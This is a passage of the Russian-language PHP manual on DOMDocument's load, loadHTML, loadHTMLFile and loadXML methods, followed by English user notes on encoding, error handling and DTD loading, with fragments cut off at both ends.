importNode returns a copy of the node to import and associates it with the current document, but not import the node to the current DOMDocument. Use appendChild for import the copy of the node to current DOMDocument.

<?
 $domNode = $dom->importNode($aDomNode, true);
 $currentDomDocument->appendChild($domNode);
?>


Загрузка XML из файла

  • « DOMDocument::importNode
  • DOMDocument::loadHTML »
  • PHP Manual
  • DOMDocument
  • Загрузка XML из файла

DOMDocument::load

(PHP 5, PHP 7, PHP 8)

DOMDocument::load — Загрузка XML из файла

Описание

public DOMDocument::load(string $filename, int $options = 0): bool

Загружает XML-документ из файла.

Внимание

Пути к файлам в стиле Unix с прямыми слешами могут отрицательно сказаться на работоспособности скриптов в среде Windows; используйте функцию realpath() для исключения подобных ситуаций.

Список параметров

filename

Путь к XML-документу.

options

Побитовое ИЛИ констант опций libxml.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Если через аргумент filename передана пустая строка или файл ничего не содержит, будет сгенерировано предупреждение. Это предупреждение генерируется не libxml, поэтому оно не может быть обработано обработчиками ошибок библиотеки libxml.

Список изменений

Версия | Описание
8.3.0 | Теперь функция имеет предварительный логический (bool) тип возвращаемого значения.
8.0.0 | При статическом вызове функции теперь будет выбрасываться ошибка Error. Ранее выдавалась ошибка уровня E_DEPRECATED.

Примеры

Пример #1 Создание документа

<?php
$doc = new DOMDocument();
$doc->load('book.xml');
echo $doc->saveXML();
?>

Смотрите также

  • DOMDocument::loadXML() - Загрузка XML из строки
  • DOMDocument::save() - Сохраняет XML-дерево из внутреннего представления в файл
  • DOMDocument::saveXML() - Сохраняет XML-дерево из внутреннего представления в виде строки

User Contributed Notes

Raf-sns 11-Nov-2023 06:19
Be carreful with the option "preserveWhiteSpace"

$dom = new DOMDocument;
// false -> this preserve white spaces
// true -> this will put all entries inline
$dom->preserveWhiteSpace = false;  // preserve white space !
sainthyoga2003 at gmail dot com 09-Feb-2012 03:37
in the default example:

<?php
$doc = new DOMDocument();
$doc->load('book.xml');
echo $doc->saveXML();
?>

you must enter the absolute path for book.xml due for get a false result in load function.
sainthyoga2003 at gmail dot com 25-Feb-2011 05:38
i've found the partial solution for xml:id warning,is explained at this address: https://fosswiki.liip.ch/display/BLOG/GetElementById+Pitfalls

there explains that:
The ID does have to be a valid NCName, which for example means, that the first letter can't be a number.

and in my xml:id i had a number. :D
sainthyoga2003 at gmail dot com 16-Feb-2011 09:31
adding an id for a child, when i use abstract mode i get the following warning:

[quote]Warning: DOMDocument::load() [domdocument.load]: xml:id : attribute value xx is not an NCName in /fake/path/to/xmlfile[/quote]
_ michael 01-Jun-2010 08:34
load() will handle non-ASCII characters depending on the details of the XML declaration, but in a somewhat surprising way. One would assume that the declarations '<?xml version="1.0" encoding="UTF-8"?>' and '<?xml version="1.0"?>' are treated in the same way because UTF-8 is the default encoding anyway. But not so.

* If there is an XML declaration defining the encoding *explicitly*, the non-ASCII characters remain unchanged.
* If the XML declaration does not define the encoding explicitly, or if the XML declaration is missing, non-ASCII characters are converted into numeric entities.

So the document

    <?xml version="1.0"?>
    <root><nonascii>a</nonascii></root>

will be converted to

    <?xml version="1.0"?>
    <root><nonascii>&#xE4;</nonascii></root>

The same happens if there is no XML declaration at all. On the other hand, the document

    <?xml version="1.0" encoding="UTF-8"?>
    <root><nonascii>a</nonascii></root>

will remain as it is.

This behaviour applies to loadXML() as well.
_ michael 19-Apr-2010 07:50
XHTML and entities: The solution proposed below by zachatwork at gmail dot com didn't work for me. I checked on a number of servers (both LAMPP and WAMPP) - on each of them, calling loadXML() with the LIBXML_DTDLOAD option triggered an external request for the DTD. And that's bad news.

If allow_url_fopen is turned off, the request for the DTD fails with a warning. If it is turned on, the request fails because these w3c URLs return a 503 Service Unavailable.

HTML entities still generate a warning in either case.

The best solution, as far as I can tell, is simply to ignore the warnings and suppress them using '@'. I can't recommend parsing XHTML with loadHTML() instead of loadXML() - yes, you get rid of the entity problem, but loadHTML() changes the source while parsing it (tries to 'fix' it even though there is nothing to fix).
zachatwork at gmail dot com 30-Jun-2009 11:28
You can easily avoid the warning about &nbsp; references by using the LIBXML_DTDLOAD option.

<?php

$html = <<<EOF
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
  </head>
  <body>
    <p>&nbsp;</p>
  </body>
</html>
EOF;

// This one works perfectly.
$dom = new DOMDocument();
$dom->loadXML($html, LIBXML_DTDLOAD);
print $dom->saveXML();

// This one produces a warning.
$dom = new DOMDocument();
$dom->loadXML($html);
print $dom->saveXML();

?>

See also: http://www.php.net/manual/en/libxml.constants.php

Note that libxml will detect that your DTD is locally available via /etc/xml/catalog. So there is no worry about this causing your DOM loads to make external network requests.
Jonas Due Vesterheden 09-Jun-2009 08:18
I had a problem with loading documents over HTTP. I would get errors looking like this:

Warning: DOMDocument::load(http://external/document.xml): failed to open stream: HTTP request failed! HTTP/1.1 500 Internal Server Error

The document would load fine in browsers and using wget. The problem is that DOMDocument::load() on my systems (both OS X and Linux) didn't send any User-Agent header which for some weird reason made Microsoft-IIS/6.0 respond with the 500 error.

The solution is found on http://php.net/manual/en/function.libxml-set-streams-context.php :

<?php
$opts = array(
    'http' => array(
        'user_agent' => 'PHP libxml agent',
    )
);

$context = stream_context_create($opts);
libxml_set_streams_context($context);

// request a file through HTTP
$doc = DOMDocument::load('http://www.example.com/file.xml');
?>
syntaxiko 04-Apr-2009 10:16
Function will not work if using XML DOM PECL module
darren at viamedia dot co dot za 05-Aug-2008 07:17
If you are loading xml with the intention of validating it against an internal dtd and you have experienced issues with the validation it could be related to missing LIBXML constants.

I found this post by "aidan at php dot net" in root level dom docs and thought it might be more useful here:
As of PHP 5.1, libxml options may be set using constants rather than the use of proprietary DomDocument properties.

DomDocument->resolveExternals is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDATTR

DomDocument->validateOnParse is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDVALID

PHP 5.1 users are encouraged to use the new constants.

Example:
<?php
$dom = new DOMDocument;
// Resolve externals
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);
// OR
// Validate against DTD
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDVALID);
$dom->validate();
?>
the_N_Channel 15-Jul-2008 04:53
NOTE, will not load successfully if there is a comment at the beginning of the file before the <?xml version="1.0" ?> declaration!
hh dot lohmann at yahoo dot de 30-Aug-2007 03:48
BadGuy?s note may be confusing since what he depicts is no special property of the relevant method. PHP works always in and on a local file system which means that if you want to use resources from other systems or - what is, indeed, BadGuy?s problem - need resources that have been dealt with by other programs or processes, you have to state and manage that explicitly in your code. PHP is just a quite normal program in that.

BadGuy?s solution is using the "http wrapper" to get output from another process (see "wrappers" in the PHP manual). Doing this, the appropriate syntax for http calls has to be respected.
admin at tijnema dot tijnema dot info 02-Jun-2007 04:39
In reply to BadGuy [at] BadGuy [dot] nl

When the news.php file is located on the same server, like you said in the first example then http://my.beautiful-website.com/xmlsource/news.php wouldn't work, but you should use http://localhost/xmlsource/news.php or http://127.0.0.1/xmlsource/news.php
BadGuy [at] BadGuy [dot] nl 18-Jan-2007 08:50
Note that this method uses the local file system before doing anything remote. The 'disadvantage' would be that if you would do the following:
<?php
$xml = new DOMDocument;
$xml->load("xmlsource/news.php");
?>

This would not make the method read the actual output of the news.php file --presumably valid xml data--, but the file contents --obviously this would be php code. So this will return an error saying news.php is missing the xml declaration and maybe the xml start-tag

What would work is the following:

<?php
$xml = new DOMDocument;
$xml->load("http://my.beautiful-website.com/xmlsource/news.php");
?>

This will force a http request to be used to get this file instead of just locally reading it and the file just returning code
daevid at daevid dot com 18-Oct-2005 05:08
Suppose you wanted to dynamically load an array from an .XSD file. This method is your guy. just remember to use the actual xs: portion in xpaths and such.

All the other "load" methods will error out.

<?php
$attributes = array();
$xsdstring = "/htdocs/api/xsd/common.xsd";
$XSDDOC = new DOMDocument();
$XSDDOC->preserveWhiteSpace = false;
if ($XSDDOC->load($xsdstring))
{
    $xsdpath = new DOMXPath($XSDDOC);
    $attributeNodes =
              $xsdpath->
              query('//xs:simpleType[@name="attributeType"]')
              ->item(0);
    foreach ($attributeNodes->childNodes as $attr)
    {
        $attributes[ $attr->getAttribute('value') ] = $attr->getAttribute('name');
    }
    unset($xsdpath);
}
print_r($attributes);
?>


Загрузка HTML из строки

  • « DOMDocument::load
  • DOMDocument::loadHTMLFile »
  • PHP Manual
  • DOMDocument
  • Загрузка HTML из строки

DOMDocument::loadHTML

(PHP 5, PHP 7, PHP 8)

DOMDocument::loadHTML — Загрузка HTML из строки

Описание

public DOMDocument::loadHTML(string $source, int $options = 0): bool

Функция разбирает HTML, содержащийся в строке source. В отличие от загрузки XML, HTML не обязан быть правильно построен для загрузки.

Внимание

Эта функция анализирует входные данные, используя синтаксический анализатор HTML 4. В браузеры встроен синтаксический анализатор HTML 5, у которого другие правила анализа. Какая структура DOM будет сформирована — зависит от входных данных. Поэтому эту функцию нельзя использовать для безопасной очистки HTML.

Например, некоторые HTML-элементы будут неявно закрывать родительский элемент. Правила для автоматического закрытия родительских элементов у HTML 4 и HTML 5 разные, поэтому результирующая структура DOM, которую видит объект класса DOMDocument может отличаться от структуры DOM, которую видит веб-браузер, что дает возможность злоумышленнику сломать результирующий HTML.

Список параметров

source

HTML-строка.

options

Побитовое ИЛИ (OR) констант опций libxml.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Если через аргумент source передана пустая строка, будет сгенерировано предупреждение. Это предупреждение генерируется не libxml, поэтому оно не может быть обработано функциями обработки ошибок libxml.

Несмотря на то что некорректный HTML обычно успешно загружается, эта функция может генерировать ошибки уровня E_WARNING при обнаружении плохой разметки. Для обработки этих ошибок можно использовать функции обработки ошибок libxml.

Список изменений

Версия | Описание
8.3.0 | Теперь функция имеет предварительный логический (bool) тип возвращаемого значения.
8.0.0 | При статическом вызове функции теперь будет выбрасываться ошибка Error. Ранее выдавалась ошибка уровня E_DEPRECATED.

Примеры

Пример #1 Создание документа

<?php
$doc = new DOMDocument();
$doc->loadHTML("<html><body>Test<br></body></html>");
echo $doc->saveHTML();
?>

Смотрите также

  • DOMDocument::loadHTMLFile() - Загрузка HTML из файла
  • DOMDocument::saveHTML() - Сохраняет документ из внутреннего представления в строку, используя форматирование HTML
  • DOMDocument::saveHTMLFile() - Сохраняет документ из внутреннего представления в файл, используя форматирование HTML

User Contributed Notes

Anonymous 19-May-2022 04:05
loadHTML() & loadHTMLFile() may always generate warnings if the html include some tags such as "nav, section, footer, etc" adopted as of HTML5 (in PHP 8.1.6).

Try to run below.

<?php

$file_name = 'PHP Runtime Configuration - Manual.html'; // Download this file from "https://www.php.net/manual/en/session.configuration.php" in advance.

$doc = new DOMDocument();
$doc->loadHTMLFile($file_name); // if set "LIBXML_NOERROR" as 2nd arg, no error
echo $doc->saveHTML();

// Warning: DOMDocument::loadHTMLFile(): Tag nav invalid in PHP Runtime Configuration - Manual.html, line: 63 in D:\xampp\htdocs\test\xml(dom)\loadHTML\index.php on line 6

?>
obayed dot opu at gmail dot com 10-Dec-2021 09:58
To support HTML5 you have to disable xml error handling by add `LIBXML_NOERROR` as an option of loadHTML method.

Example:

<?php
$doc = new DOMDocument();
$doc->loadHTML("<html><body>Test<br><section>I'M UNSUPPORTED</section></body></html>", LIBXML_NOERROR);
echo $doc->saveHTML();
?>
deepakrajpal dot com at gmail dot com 20-Nov-2020 06:16
If we are loading html5 tags such as <section>, <svg> there is following error:

DOMDocument::loadHTML(): Tag section invalid in Entity

We can disable standard libxml errors (and enable user error handling) using libxml_use_internal_errors(true); before loadHTML();

This is quite useful in phpunit custom assertions as given in following example (if using phpunit test cases):

// Create a DOMDocument
$dom = new DOMDocument();

// fix html5/svg errors
libxml_use_internal_errors(true);

// Load html
$dom->loadHTML("<section></section>");
$htmlNodes = $dom->getElementsByTagName('section');

if ($htmlNodes->length == 0) {
    $this->assertFalse(TRUE);
} else {
    $this->assertTrue(TRUE);
}
divinity76+spam at gmail dot com 14-Sep-2020 09:25
if you want to get rid of all the "DOMText elements containing ONLY whitespace", maybe try

<?php

function loadHTML_noemptywhitespace(string $html, int $extra_flags = 0, int $exclude_flags = 0): DOMDocument
{
    $flags = LIBXML_HTML_NODEFDTD | LIBXML_NOBLANKS | LIBXML_NONET;
    $flags = ($flags | $extra_flags) & ~ $exclude_flags;

    $domd = new DOMDocument();
    $domd->preserveWhiteSpace = false;
    @$domd->loadHTML('<?xml encoding="UTF-8">' . $html, $flags);
    $removeAnnoyingWhitespaceTextNodes = function (\DOMNode $node) use (&$removeAnnoyingWhitespaceTextNodes): void {
        if ($node->hasChildNodes()) {
            // Warning: it's important to do it backwards; if you do it forwards, the index for DOMNodeList might become invalidated;
            // that's why i don't use foreach() - don't change it (unless you know what you're doing, ofc)
            for ($i = $node->childNodes->length - 1; $i >= 0; --$i) {
                $removeAnnoyingWhitespaceTextNodes($node->childNodes->item($i));
            }
        }
        if ($node->nodeType === XML_TEXT_NODE && !$node->hasChildNodes() && !$node->hasAttributes() && empty(trim($node->textContent))) {
            //echo "Removing annoying POS";
            // var_dump($node);
            $node->parentNode->removeChild($node);
        } //elseif ($node instanceof DOMText) { echo "not removed"; var_dump($node, $node->hasChildNodes(), $node->hasAttributes(), trim($node->textContent)); }
    };
    $removeAnnoyingWhitespaceTextNodes($domd);
    return $domd;
}
BychkovVV at mail dot ru 03-Apr-2020 08:30
If you are loading html content from any website, in "utf-8" encoding, when meta width content-type is not first child of HEAD, it would not be acknowledged by parser (encoding); So you can make this fix:
  function domLoadHTML($html)
           {$testDOM = new DOMDocument('1.0', 'UTF-8');
            $testDOM->loadHTML($html);
            $charset = NULL;
            $searchInElemnt = function(&$item) use (&$searchInElemnt, &$charset)
              {if($item->childNodes)
                 {foreach($item->childNodes as $childItem)
                    {switch($childItem->nodeName)
                       {case 'html':
                        case 'head':
                          $searchInElemnt($childItem);
                          break;
                        case 'meta':
                          $attributes = array();
                          foreach ($childItem->attributes as $attr)
                            {$attributes[mb_strtoupper($attr->localName)] = $attr->nodeValue;
                            }
                          if(array_key_exists('HTTP-EQUIV', $attributes) && (mb_strtoupper($attributes['HTTP-EQUIV']) == 'CONTENT-TYPE') && array_key_exists('CONTENT', $attributes) && preg_match('~[\s]*;[\s]*charset[\s]*=[\s]*([^\s]+)~', $attributes['CONTENT'], $matches))
                            {$charset = preg_replace('~[\s\']~', '', $matches[1]);
                            }
                       }
                    }
                 }
              };
            $searchInElemnt($testDOM);
            if(isset($charset))
              {$dom = new DOMDocument('1.0', $charset);
               $dom->loadHTML('<?xml encoding="'.$charset.'">'.$html);
               foreach ($dom->childNodes as $item)
               if($item->nodeType == XML_PI_NODE)
                 {$dom->removeChild($item);
                 }
               $dom->encoding = $charset;
              }
            else
              {$dom = $testDOM;
              }
            return $dom;
           };
kerim-yagmurcu at gmx dot de 24-Dec-2016 03:13
For those of you who want to get an external URL's class element, I have 2 usefull functions. In this example we get the '<h3 class="r">'
 elements back (search result headers) from google search:

1. Check the URL (if it is reachable, existing)
<?php
# URL Check
function url_check($url) {
    $headers = @get_headers($url);
    return is_array($headers) ? preg_match('/^HTTP\\/\\d+\\.\\d+\\s+2\\d\\d\\s+.*$/',$headers[0]) : false;
};
?>

2. Clean the element you want to get (remove all tags, tabs, new-lines etc.)
<?php
# Function to clean a string
function clean($text){
    $clean = html_entity_decode(trim(str_replace(';','-',preg_replace('/\s+/S', " ", strip_tags($text)))));// remove everything
    return $clean;
    echo '\n';// throw a new line
}
?>

After doing that, we can output the search result headers with following method:
<?php
$searchstring = 'djceejay';
$url = 'http://www.google.de/webhp#q='.$searchstring;
if(url_check($url)){
    $doc = new DomDocument;
    $doc->validateOnParse = true;
    $doc->loadHtml(file_get_contents($url));
    $output = clean($doc->getElementByClass('r')->textContent);
    echo $output . '<br>';
}else{
    echo 'URL not reachable!';// Throw message when URL not be called
}
?>
fr at felix-riesterer dot de 13-Feb-2016 01:43
Remember: If you use an HTML5 doctype and a meta element like so

<meta CHARSET=Windows-1251">

your HTML code will get interpreted as ISO-8859-something and non-ASCII chars will get converted into HTML entities. However the HTML4-like version will work (as has been pointed out 10 years ago by "bigtree at 29a"):

<meta http-equiv="Content-Type" content="text/html; CHARSET=Windows-1251">
finkenb2 at mail dot lib dot msu dot edu 05-Oct-2015 04:03
Warning:  This does not function well with HTML5 elements such as SVG.  Most of the advice on the Web is to turn off errors in order to have it work with HTML5.
cake at brothercake dot com 16-Dec-2012 05:57
Be aware that this function doesn't actually understand HTML -- it fixes tag-soup input using the general rules of SGML, so it creates well-formed markup, but has no idea which element contexts are allowed.

For example, with input like this where the first element isn't closed:

    <span>hello <div>world</div>

loadHTML will change it to this, which is well-formed but invalid:

    <span>hello <div>world</div></span>
Alex 10-Apr-2010 08:45
Beware of the "gotcha" (works as designed but not as expected): if you use loadHTML, you cannot validate the document. Validation is only for XML. Details here: http://bugs.php.net/bug.php?id=43771&edit=1
Shane Harter 04-Jan-2010 08:42
DOMDocument is very good at dealing with imperfect markup, but it throws warnings all over the place when it does.

This isn't well documented here. The solution to this is to implement a separate aparatus for dealing with just these errors.

Set libxml_use_internal_errors(true) before calling loadHTML. This will prevent errors from bubbling up to your default error handler. And you can then get at them (if you desire) using other libxml error functions.

You can find more info here http://www.php.net/manual/en/ref.libxml.php
mdmitry at gmail dot com 21-Dec-2009 09:02
You can also load HTML as UTF-8 using this simple hack:

<?php

$doc = new DOMDocument();
$doc->loadHTML('<?xml encoding="UTF-8">' . $html);

// dirty fix
foreach ($doc->childNodes as $item)
    if ($item->nodeType == XML_PI_NODE)
        $doc->removeChild($item); // remove hack
$doc->encoding = 'UTF-8'; // insert proper

?>
piopier 14-Jun-2009 08:29
Here is a function I wrote to capitalize the previous remarks about charset problems (UTF-8...) when using loadHTML and then DOM functions.
It adds the charset meta tag just after <head> to improve automatic encoding detection, converts any specific character to an html entity, thus PHP DOM functions/attributes will return correct values.

<?php
mb_detect_order("ASCII,UTF-8,ISO-8859-1,windows-1252,iso-8859-15");
function loadNprepare($url,$encod='') {
        $content        = file_get_contents($url);
        if (!empty($content)) {
                if (empty($encod))
                        $encod  = mb_detect_encoding($content);
                $headpos        = mb_strpos($content,'<head>');
                if (FALSE=== $headpos)
                        $headpos= mb_strpos($content,'<HEAD>');
                if (FALSE!== $headpos) {
                        $headpos+=6;
                        $content = mb_substr($content,0,$headpos) . '<meta http-equiv="Content-Type" content="text/html; charset='.$encod.'">' .mb_substr($content,$headpos);
                }
                $content=mb_convert_encoding($content, 'HTML-ENTITIES', $encod);
        }
        $dom = new DomDocument;
        $res = $dom->loadHTML($content);
        if (!$res) return FALSE;
        return $dom;
}
?>

NB: it uses mb_strpos/mb_substr instead of mb_ereg_replace because that seemed more efficient with huge html pages.
Errol 11-Feb-2009 08:05
It should be noted that when any text is provided within the body tag
outside of a containing element, the DOMDocument will encapsulate that
text into a paragraph tag (<p>).

For example:
<?php
$doc = new DOMDocument();
$doc->loadHTML("<html><body>Test<br><div>Text</div></body></html>");
echo $doc->saveHTML();
?>

will yield:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
"http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body>
<p>Test<br></p>
<div>Text</div>
</body></html>

while:
<?php
$doc = new DOMDocument();
$doc->loadHTML(
    "<html><body><i>Test</i><br><div>Text</div></body></html>");
echo $doc->saveHTML();
?>

will yield:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
"http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body>
<i>Test</i><br><div>Text</div>
</body></html>
jamesedwardcooke+php at gmail dot com 19-Oct-2008 11:37
Using loadHTML() automagically sets the doctype property of your DOMDocument instance(to the doctype in the html, or defaults to 4.0 Transitional). If you set the doctype with DOMImplementation it will be overridden.

I assumed it was possible to set it and then load html with the doctype I defined(in order to decide the doctype at runtime), and ran into a huge headache trying to find out where my doctype was going. Hopefully this helps someone else.
xuanbn at yahoo dot com 04-Oct-2007 01:38
If you use loadHTML() to process utf HTML string (eg in Vietnamese), you may experience result in garbage text, while some files were OK. Even your HTML already have meta charset  like

  <meta http-equiv="content-type" content="text/html; CHARSET=Windows-1251">

I have discovered that, to help loadHTML() process utf file correctly, the meta tag should come first, before any utf string appear. For example, this HTML file

<html>
 <head>
    <meta http-equiv="content-type" content="text/html; CHARSET=Windows-1251">
    <title> Vietnamese - Ti?ng Vi?t</title>
  </head>
<body></body>
</html>

will be OK with loadHTML() when <meta> tag appear <title> tag.

But the file below will not regcornize by loadHTML() because <title> tag contains utf string appear before <meta> tag.

<html>
 <head>
    <title> Vietnamese - Ti?ng Vi?t</title>
    <meta http-equiv="content-type" content="text/html; CHARSET=Windows-1251">
  </head>
<body></body>
</html>
hanhvansu at yahoo dot com 26-Apr-2007 08:50
When using loadHTML() to process UTF-8 pages, you may meet the problem that the output of dom functions are not like the input. For example, if you want to get "C?nh tranh", you will receive "Ca??nh tranh".  I suggest we use mb_convert_encoding before load UTF-8 page :
<?php
    $pageDom = new DomDocument();
    $searchPage = mb_convert_encoding($htmlUTF8Page, 'HTML-ENTITIES', "UTF-8");
    @$pageDom->loadHTML($searchPage);

?>
romain dot lalaut at laposte dot net 15-Feb-2007 08:31
Note that the elements of such document will have no namespace even with <html xmlns="http://www.w3.org/1999/xhtml">
bigtree at DONTSPAM dot 29a dot nl 26-Apr-2005 02:15
Pay attention when loading html that has a different charset than iso-8859-1. Since this method does not actively try to figure out what the html you are trying to load is encoded in (like most browsers do), you have to specify it in the html head. If, for instance, your html is in utf-8, make sure you have a meta tag in the html's head section:

<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=Windows-1251"/>
</head>

If you do not specify the charset like this, all high-ascii bytes will be html-encoded. It is not enough to set the dom document you are loading the html in to UTF-8.


Загрузка HTML из файла

  • « DOMDocument::loadHTML
  • DOMDocument::loadXML »
  • PHP Manual
  • DOMDocument
  • Загрузка HTML из файла

DOMDocument::loadHTMLFile

(PHP 5, PHP 7, PHP 8)

DOMDocument::loadHTMLFile — Загрузка HTML из файла

Описание

public DOMDocument::loadHTMLFile(string $filename, int $options = 0): bool

Функция разбирает HTML-документ из файла filename. В отличие от загрузки XML, HTML не обязан быть правильно построен для загрузки.

Внимание

Эта функция анализирует входные данные, используя синтаксический анализатор HTML 4. В браузеры встроен синтаксический анализатор HTML 5, у которого другие правила анализа. Какая структура DOM будет сформирована — зависит от входных данных. Поэтому эту функцию нельзя использовать для безопасной очистки HTML.

Например, некоторые HTML-элементы будут неявно закрывать родительский элемент. Правила для автоматического закрытия родительских элементов у HTML 4 и HTML 5 разные, поэтому результирующая структура DOM, которую видит объект класса DOMDocument может отличаться от структуры DOM, которую видит веб-браузер, что дает возможность злоумышленнику сломать результирующий HTML.

Список параметров

filename

Путь к HTML-файлу.

options

Побитовое ИЛИ (OR) констант опций libxml.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Если через аргумент filename передана пустая строка или файл ничего не содержит, будет сгенерировано предупреждение. Это предупреждение генерируется не libxml, поэтому оно не может быть обработано функциями обработки ошибок libxml.

Несмотря на то что некорректный HTML обычно успешно загружается, эта функция может генерировать ошибки уровня E_WARNING при обнаружении плохой разметки. Для обработки этих ошибок можно использовать функции обработки ошибок libxml.

Список изменений

Версия | Описание
8.3.0 | Теперь функция имеет предварительный логический (bool) тип возвращаемого значения.
8.0.0 | При статическом вызове функции теперь будет выбрасываться ошибка Error. Ранее выдавалась ошибка уровня E_DEPRECATED.

Примеры

Пример #1 Создание документа

<?php
$doc = new DOMDocument();
$doc->loadHTMLFile("filename.html");
echo $doc->saveHTML();
?>

Смотрите также

  • DOMDocument::loadHTML() - Загрузка HTML из строки
  • DOMDocument::saveHTML() - Сохраняет документ из внутреннего представления в строку, используя форматирование HTML
  • DOMDocument::saveHTMLFile() - Сохраняет документ из внутреннего представления в файл, используя форматирование HTML

User Contributed Notes

qrworld.net 11-Nov-2014 04:37
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
onemanbanddan at gmail dot com 04-Mar-2014 12:28
The options for surpressing errors and warnings will not work with this as they do for loadXML()
e.g.
<?php
$doc->loadHTMLFile($file, LIBXML_NOWARNING | LIBXML_NOERROR);
?>
will not work.
you must use:
<?php
libxml_use_internal_errors(true);
$doc->loadHTMLFile($file);
?>
and handle the exceptions as neccesarry.
Mark Omohundro, ajamyajax dot com 28-Nov-2008 06:32
<?php
// try this html listing example for all nodes / includes a few getElementsByTagName options:

$file = $DOCUMENT_ROOT. "test.html";
$doc = new DOMDocument();
$doc->loadHTMLFile($file);

// example 1:
$elements = $doc->getElementsByTagName('*');
// example 2:
$elements = $doc->getElementsByTagName('html');
// example 3:
//$elements = $doc->getElementsByTagName('body');
// example 4:
//$elements = $doc->getElementsByTagName('table');
// example 5:
//$elements = $doc->getElementsByTagName('div');

if (!is_null($elements)) {
  foreach ($elements as $element) {
    echo "<br/>". $element->nodeName. ": ";

    $nodes = $element->childNodes;
    foreach ($nodes as $node) {
      echo $node->nodeValue. "\n";
    }
  }
}
?>
gzech at SPAMFILTER dot eso dot org 21-Feb-2007 02:09
If you want to suppress output warnings from loadHTMLFile($url), put an @ sign in front. This even works in:
<?php
$load = @$dom->loadHTMLFile($url);
?>
andy at carobert dot com 25-May-2005 01:24
This puts the HTML into a DOM object which can be parsed by individual tags, attributes, etc..  Here is an example of getting all the 'href' attributes and corresponding node values out of the 'a' tag. Very cool....

<?php
$myhtml = <<<EOF
<html>
<head>
<title>My Page</title>
</head>
<body>
<p><a href="/mypage1">Hello World!</a></p>
<p><a href="/mypage2">Another Hello World!</a></p>
</body>
</html>
EOF;

$doc = new DOMDocument();
$doc->loadHTML($myhtml);

$tags = $doc->getElementsByTagName('a');

foreach ($tags as $tag) {
       echo $tag->getAttribute('href').' | '.$tag->nodeValue."\n";
}
?>

This should output:

/mypage1 | Hello World!
/mypage2 | Another Hello World!
bens at effortlessis dot com 08-Apr-2005 05:11
Note that this function doesn't parse the individual tags WITHIN the html file - it's all loaded as a "black box", and you end up with an XML widget that comprises nothing but the complete chunk of HTML.

I was hoping it would function as a sort of HTML-validator/parser, but that doesn't seem to be the case.


Загрузка XML из строки

  • « DOMDocument::loadHTMLFile
  • DOMDocument::normalizeDocument »
  • PHP Manual
  • DOMDocument
  • Загрузка XML из строки

DOMDocument::loadXML

(PHP 5, PHP 7, PHP 8)

DOMDocument::loadXML — Загрузка XML из строки

Описание

public DOMDocument::loadXML(string $source, int $options = 0): bool

Загружает XML-документ из строки.

Список параметров

source

Содержащая XML-строка.

options

Побитовое ИЛИ констант опций libxml.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Если через аргумент source передана пустая строка, будет сгенерировано предупреждение. Это предупреждение генерируется не libxml, поэтому оно не может быть обработано функциями обработки ошибок libxml.

Список изменений

Версия | Описание
8.3.0 | Теперь функция имеет предварительный логический (bool) тип возвращаемого значения.
8.0.0 | При статическом вызове функции теперь будет выбрасываться ошибка Error. Ранее выдавалась ошибка уровня E_DEPRECATED.

Примеры

Пример #1 Создание документа

<?php
$doc = new DOMDocument();
$doc->loadXML('<root><node/></root>');
echo $doc->saveXML();
?>

Смотрите также

  • DOMDocument::load() - Загрузка XML из файла
  • DOMDocument::save() - Сохраняет XML-дерево из внутреннего представления в файл
  • DOMDocument::saveXML() - Сохраняет XML-дерево из внутреннего представления в виде строки

User Contributed Notes

Adrian Wiik 13-Nov-2019 09:02
A call to loadXML() will overwrite the XML declaration previously created in the constructor of DOMDocument. This can cause encoding problems if there is no XML declaration in the loaded XML and you don't have control over the source (e.g. if the XML is coming from a webservice). To fix this, set encoding AFTER loading the XML using the 'encoding' class property of DOMDocument. Example:

Bad situation:

test.xml:
<test>
    <hello>hi</hello>
    <field>o</field>
</test>

test.php:
$xmlDoc = new DOMDocument("1.0", "utf-8"); // Parameters here are overwritten anyway when using loadXML(), and are not really relevant
$testXML = file_get_contents("test.xml");
$xmlDoc->loadXML($testXML);
// Print the contents to a file or in a log function to get the output, using $xmlDoc->saveXML()

Output:
<?xml version="1.0"?>
<test>
    <hello>hi</hello>
    <field>&#xF8;</field>
</test>

Good situation:

test.xml:
<test>
    <hello>hi</hello>
    <field>o</field>
</test>

test.php:
$xmlDoc = new DOMDocument("1.0", "utf-8"); // Parameters here are overwritten anyway when using loadXML(), and are not really relevant
$testXML = file_get_contents("test.xml");
$xmlDoc->loadXML($testXML);
$xmlDoc->encoding = "utf-8";
// Print the contents to a file or in a log function to get the output, using $xmlDoc->saveXML()

Output:
<?xml version="1.0" encoding="utf-8"?>
<test>
    <hello>hi</hello>
    <field>o</field>
</test>
Gustavo L. Fabro 14-Nov-2013 04:41
Always remember that with the default parameters this function doesn't handle well large files, i.e. if a text node is longer than 10Mb it can raise an exception stating:

DOMDocument::loadXML(): internal error Extra content at the end of the document in Entity

even though the XML is fine.

The cause is a definition in parserInternals.h of lixml:
#define XML_MAX_TEXT_LENGTH 10000000

To allow the function to process larger files, pass the LIBXML_PARSEHUGE as an option and it will work just fine:

$domDocument->loadXML($xml, LIBXML_PARSEHUGE);
szalma dot laszlo at zengo dot eu 27-Oct-2009 08:14
